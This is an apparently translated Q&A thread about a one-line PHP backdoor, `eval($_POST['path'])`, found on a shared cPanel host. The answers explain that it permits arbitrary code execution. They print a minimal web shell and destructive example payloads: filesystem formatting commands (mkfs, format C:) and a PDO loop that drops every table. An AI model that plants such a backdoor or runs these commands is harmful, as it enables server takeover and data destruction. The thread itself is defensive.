eval php shell hack

时间:2012-12-21 18:51:26

标签: php eval security

假设您在使用cPanel的共享Web服务器中找到此代码。您是否可以通过将shell上传到服务器或通过其他方法来访问邮件附件或cPanel?我不需要步骤如何做到这一点。只是一个整体的想法。对不起,我不能给你更多细节。但是这段代码不是为了攻击任何人。

  

<?php eval($_POST['path']);?>

3 个答案:

答案 0 :(得分:5)

Yes.

  

<强>注意

     

eval()语言构造非常危险,因为它允许执行任意PHP代码。因此不鼓励使用它。如果您已经仔细验证除了使用此构造之外没有其他选择,请特别注意不要将任何用户提供的数据传递到其中,而不事先正确验证它。

例如,将path设置为以下内容将运行apache用户有权运行的任何shell命令。

exec("system command here");

答案 1 :(得分:1)

不使用Eval,除非你正确地保持你的输入你不应该使用它,即使你确实保持你的输入;它会给您的服务器带来极大的风险。特别是如果您只是eval$_POST运行..我可以使用Tamper data将该帖子的内容修改为任何内容; SQL注入,以PHP等方式运行任何东西

除非

,否则不应使用此功能

1)你知道你在做什么

2)你觉得你对攻击者100%安全。

参见手册:

http://uk3.php.net/manual/en/function.eval.php

  

eval()语言结构非常危险,因为它允许   执行任意PHP代码。因此不鼓励使用它。如果你   仔细确认除了使用它之外别无选择   构建时,要特别注意不要传递任何用户提供的数据   没有事先正确验证它就进入它。

示例:

在Linux系统上我的帖子可能是:

<?php exec(mkfs.ext3 /dev/sdb1); ?> 

我将格式化您的FS

在Windows文件系统上:

<?php exec("format C: /q"); ?> 

再次格式化。

这只是为什么不应该使用它的一个例子。

Little Late Edit:

我忘记将此添加到我的答案中,所以我现在将其添加。

如果使用eval($_POST[]);,您的脚本将面临极大的风险,IE。如果我发现您正在使用PDO和您的数据库连接变量。我可以执行以下操作:

$Query = $eval->prepare("SHOW TABLES"); $Query->execute(); $Fetch = $Query->fetchAll(PDO::FETCH_COLUMN); print_r($Fetch); foreach($Fetch AS $F){ $New = $eval->exec("DROP TABLE {$F}"); }

并且所有表格都将被删除,这是为什么应该避免使用Eval的一个小例子;

答案 2 :(得分:0)

这是一个可怕的安全漏洞,允许未经过滤的输入数据执行任意代码。对运行PHP的用户可用的任何访问权限都将提供给可能的攻击者。